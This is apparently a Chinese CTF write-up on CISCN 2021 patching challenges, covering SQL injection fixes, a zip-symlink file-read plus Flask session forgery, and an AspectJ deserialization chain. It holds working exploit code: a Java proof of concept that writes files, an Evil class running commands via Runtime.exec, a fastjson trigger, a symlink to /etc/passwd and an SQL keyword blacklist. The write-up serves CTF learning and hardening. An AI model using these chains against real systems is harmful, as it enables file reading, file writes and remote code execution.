学习一下加固题的做法

ezsql

ssh连接之后 访问/var/www/html

tar打包下载源码

1
tar -czvf /tmp/1.tar.gz ../html

查看源码

输入的参数没有经过任何的过滤 直接就输入到数据库中执行查找 存在sql注入

简单测试一下

image-20240412103855599

写一个正则匹配看一下

1
2
3
4
5
6
if(preg_match("/select|and|\"|\'| |or|\+|=|like|databaese|\\|,|.|&|limit|%|group_concat|schema_name|schemata|extractvalue|~|updatexml|from|union|where|columns|--|show|/i",$password)){
die("用户名或密码错误");
}
if(preg_match("/select|and|\"|\'| |or|\+|=|like|databaese|\\|,|.|&|limit|%|group_concat|schema_name|schemata|extractvalue|~|updatexml|from|union|where|columns|--|show|/i",$username)){
die("用户名或密码错误");
}

然后访问check

不幸的是 check没过。

既然闭合符号都被过滤了依然不能过check 显然就不是简单的添加blacklist能够过去的

sql预处理

预处理语句用于执行多个相同的 SQL 语句,并且执行效率更高

同时由于不是直接将相关的参数与已知的sql语句进行拼接 阻止了sql注入的发生

举个例子

1
2
3
4
5
$link = new mysqli('127.0.0.1', 'root', 'root', 'books');
$stmt = $link->prepare("select * from books where name = ? AND price = ?");
$stmt->bind_param("ss", $name, $price);
$stmt->execute();
$stmt->bind_result($username, $pawweord);

这里首先创建一个mysql连接

然后创建一个mysqli_prepare()函数

若执行成功(参数语句正确无误),返回一个statement(STMT)对象;但是如果发生错误,则返回FALSE;

1
$stmt->bind_param("ss", $name, $price);

将变量绑定到对应的?处 第一个 参数代表的是s代表参数是字符串

第二个参数代表的是?所对应的参数

1
2
3
4
i - integer(整型)
d - double(双精度浮点型)
s - string(字符串)
b - BLOB(binary large object:二进制对象)

然后执行语句

1
$stmt->execute();

将结果储存在储存语句中

1
$stmt->bind_result($username, $pawweord);

添加这个之后 我成功获取了flag

image-20240412112301734

image-20240412112309654

特殊字符转义

看了看网上的wp 很多人使用了 addslashes() 函数

1
2
3
4
5
6
7
8
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

这样我们注入的时候 非法字符如‘ 就会被过滤 阻止了注入的发生

[CISCN2021 总决赛]babypython

老样子 打包下来看看

1
tar -czvf /tmp/1.tar.gz /app

关键代码在这里

image-20240412143654554

服务允许我们上传一个zip文件 然后会在服务端进行解压 读取里面的文件内容 读取之后将文件内容显示出来 然后删除相关文件

unzip软连接攻击

通过创建一个指向系统文件的软连接

1
ln -s /etc/passwd shell

然后使用zip压缩为压缩包

1
zip -r shell.zip shell

然后上传

在解压的时候 软连接自动指向为我们想要访问的目录

如果里面包含一句话木马 我们就可以将这个一句话木马上传导指定的目录下

1
2
cd shell
echo '内容' > 文件

然后访问就可以getshell

这里我们可以实现读取任意文件

这里显然是要配合flask伪造

uuid

uuid是随机生成的字符串 但是他的种子是本地的mac

我们可以通过读取mac地址 获取uuid生成的随机字符串 计算出key

image-20240412145108451

我们可以上传一个指向mac地址的软连接 获取mac之后计算处key 然后伪造session

image-20240412145242341

伪造即可

这里有个大坑 读取出来的mac和本地ssh链接上去读取的mac的值 不一样

image-20240412145410836

修复

修复方法也简单 直接换掉那个使用的库 不用uuid去作为session的key即可

[CISCN2021 总决赛]ezj4va

访问www.zip 下载获取到源码

注意到

image-20240413130020890

调用的方法在这里

image-20240413130647355

image-20240413132102780

传入的两个值是

一个来源于直接get传递的参数 一个来源于cookie里面的值

aspectj链子

org.aspectj.weaver.tools.cache.SimpleCache 类中定义了一个内部类 StoreableCachingMap 提供了一个writeToPath将value写入文件的方法

在 put方法里面 存在这样的调用

image-20240413140502440

这里会调用writeToPath方法

image-20240413140543697

触发这个put方法 就可以成功写入文件

lazymap 在transfrom之后 可以调用内部的map的put方法 对结果进行保存 这里就会触发put方法

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example.aspectj;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.weaver.tools.cache.SimpleCache;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.*;

public class test {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
declaredConstructor.setAccessible(true);
HashMap map = (HashMap)declaredConstructor.newInstance("D:\\\\", 123);
ConstantTransformer constantTransformer = new ConstantTransformer("evil code".getBytes(StandardCharsets.UTF_8));
Map outerMap = LazyMap.decorate(map,constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"1.txt");
HashSet hashSet = new LinkedHashSet(1);
hashSet.add(tiedMapEntry);
outerMap.remove("1.txt");
serialize(hashSet);
unserialize("bin.ser");
// System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(hashSet)));
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin.ser"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

调用链如下

image-20240413141803920

成功写入文件

image-20240413141830823

回到题目

这里没有cc的依赖 我们不能利用tiedmapectry的hashcode触发 lazymap的get方法 我们得寻找其他的方法

注意到

image-20240413143450944

这里直接就进行了一个put方法 能触发我们的注入

【程序员比赛】CISCN 2021 ezj4va与Fix思路 - 掘金 (juejin.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public static String readFile(String filePath) throws Exception{
FileInputStream fis = new FileInputStream(filePath);
int size = fis.available();
System.out.println(size);
byte[] array = new byte[size];
fis.read(array);
String result = new String(array);
result = result.replaceAll("\r|\n", "");
fis.close();
return result;
}

public static Cart cookiePayload() throws Exception {
Cart cart = new Cart();
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); //获得obj
cart.setSkuDescribe((Map<String, Object>) simpleCache);
return cart;
}

public static Cart getPayload() throws Exception {
Map map = new HashMap();
Cart cart = new Cart();
String filepath = "1.txt";
String data = readFile(filepath);
map.put("2.txt",data.getBytes(StandardCharsets.UTF_8)); //编码
cart.setSkuDescribe(map);
return cart;
}

public static String getURLEncoderString(String str) {
String result = "";
if (null == str) {
return "";
}
try {
result = java.net.URLEncoder.encode(str, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return result;
}

public static String URLDecoderString(String str) {
String result = "";
if (null == str) {
return "";
}
try {
result = java.net.URLDecoder.decode(str, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return result;
}

public static String Exp(Cart poc)throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(poc);
baos.close();
return (new BASE64Encoder().encode(baos.toByteArray()).replace("\r\n", ""));
}

public static void main(String[] args) throws Exception {
System.out.println("--------------------------------------------get数据-------------------------------------------");
System.out.println(getURLEncoderString(Exp(getPayload())));
System.out.println("--------------------------------------------cookie数据----------------------------------------");
System.out.println(Exp(cookiePayload()));
}

写入文件到 java/home/jre/classes下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;

public class Evil implements AutoCloseable {

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

触发加载的payload

1
2
3
4
{
"@type":"java.lang.AutoCloseable",
"@type":"Evil"
}

也可以替换charsets.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package sun.nio.cs.ext;

import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.charset.spi.CharsetProvider;
import java.util.Iterator;

public class ExtendedCharsets extends CharsetProvider{
public ExtendedCharsets() {
try {
Runtime.getRuntime().exec("cmd /c calc");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}

@Override
public Iterator<Charset> charsets() {
// TODO Auto-generated method stub
return null;
}

@Override
public Charset charsetForName(String charsetName) {
// TODO Auto-generated method stub
return null;
}
}

只要运行jvm或者编译字节码 就会触发命令执行

修复

这里反序列化的时候 加一个过滤 把payload里面的几个危险类过滤掉即可

太难了 后面的就没看了 这个java就做不太来了